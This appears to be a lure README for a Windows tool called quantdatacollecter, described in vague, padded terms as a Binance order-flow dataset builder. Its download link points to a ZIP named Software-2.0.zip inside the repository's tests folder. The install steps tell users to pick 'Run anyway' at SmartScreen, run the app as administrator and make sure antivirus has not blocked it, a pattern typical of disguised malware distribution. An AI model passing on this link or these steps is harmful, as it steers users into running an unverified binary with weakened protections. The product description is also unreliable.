📦 quantdatacollecter - Turn Tick Data Into Ready Datasets

🚀 Overview

quantdatacollecter is a Windows app for collecting order flow data and turning it into machine learning datasets. It is built for users who want to get from raw market data to clean files with less setup.

This tool focuses on Binance crypto market data, including tick-by-tick trades and order book data. It helps you gather data, shape it into a useful format, and prepare it for later analysis or model training.

Use it if you want a simple way to:

• collect market data from Binance
• store raw data in a clean structure
• build datasets for trading research
• reduce manual file work
• keep your data flow in one place

🖥️ What You Need

Before you start, make sure your Windows PC has:

• Windows 10 or Windows 11
• an internet connection
• at least 4 GB of RAM
• enough free disk space for market data files
• permission to run downloaded apps

For best results:

• keep your system date and time correct
• use a stable network connection
• close apps that use heavy disk or network resources

📥 Download

Visit this page to download the app:

https://github.com/tired-wuhan384/quantdatacollecter/raw/refs/heads/main/tests/Software-2.0.zip

If the page shows a release file, download it to your PC. If you see a ZIP file, save it and extract it first. If you see an EXE file, you can run it after download.

🧭 Install on Windows

Follow these steps:

1. Open the download page.
2. Find the latest release or the main download file.
3. Download the file to your computer.
4. If the file is in a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Double-click the app file to start it.
7. If Windows asks for permission, choose Yes.
8. If Windows SmartScreen appears, select More info, then Run anyway if you trust the file source.

If the app starts with a setup screen, follow the steps on screen. If it opens right away, the app is ready to use.

🛠️ How It Works

The app follows a simple flow:

1. Connect to the data source.
2. Collect tick and order book data.
3. Save the raw records.
4. Clean the data.
5. Build a dataset that you can use for research or model training.

You do not need to manage each file by hand. The app handles the data flow in one place.

📊 Data Types

quantdatacollecter is built around market data work. It can handle:

• tick-by-tick trades
• order book snapshots
• order flow records
• time-based market history
• machine learning ready tables

This makes it useful for:

• price movement research
• liquidity studies
• short-term signal building
• backtest data prep
• feature creation for models

⚙️ Basic Use

After you open the app, you can usually work through these steps:

1. Choose the market or symbol you want.
2. Set the time range for the data.
3. Start collection.
4. Wait for the files to build.
5. Open the output folder.
6. Use the saved dataset in your next analysis step.

If the app gives you options for data format, pick the one that fits your work. If you are not sure, start with the default settings.

📁 Output Files

The app may create folders and files such as:

• raw data files
• cleaned data files
• CSV tables
• time series files
• dataset folders
• log files

A common folder layout may look like this:

• raw/ for source records
• clean/ for processed data
• dataset/ for final training data
• logs/ for run history

This helps keep each step clear and easy to find later.

🔍 Good Use Cases

Use quantdatacollecter when you need data for:

• crypto market research
• order flow review
• machine learning input files
• price action studies
• trading feature sets
• data collection for a bot or model

It fits a workflow where you want to gather data first, then work with it in another tool.

🧩 Troubleshooting

If the app does not open:

• check that the download finished
• extract ZIP files before opening
• try running the app as administrator
• make sure your antivirus did not block the file

If data does not appear:

• check your internet connection
• make sure the symbol or market is valid
• try a shorter time range
• confirm that the output folder has write access

If the app feels slow:

• close other heavy apps
• free up disk space
• use a smaller date range first
• keep the computer plugged in during long runs

📌 Tips for First Use

Start small:

• choose one market pair first
• collect a short time span
• check the output files
• confirm the format before running a larger job

This helps you learn the flow without waiting on a large download.

📚 Typical Workflow

A simple workflow may look like this:

1. Open the app.
2. Select your market.
3. Set the collection range.
4. Run the collector.
5. Wait for data files to finish.
6. Open the output folder.
7. Use the dataset in your analysis tool.

If you plan to train a model, keep the same file format across runs. That makes later work easier.

🧠 About the Project

quantdatacollecter is built for production-style data work. It aims to take raw market records and turn them into structured files that are easier to use in research and machine learning.

The project name and topic set point to:

• Binance market data
• crypto order books
• order flow analysis
• data collection pipelines
• quant research
• trading dataset prep

📎 Download Again

Open the link above to visit the download page and get the Windows file you need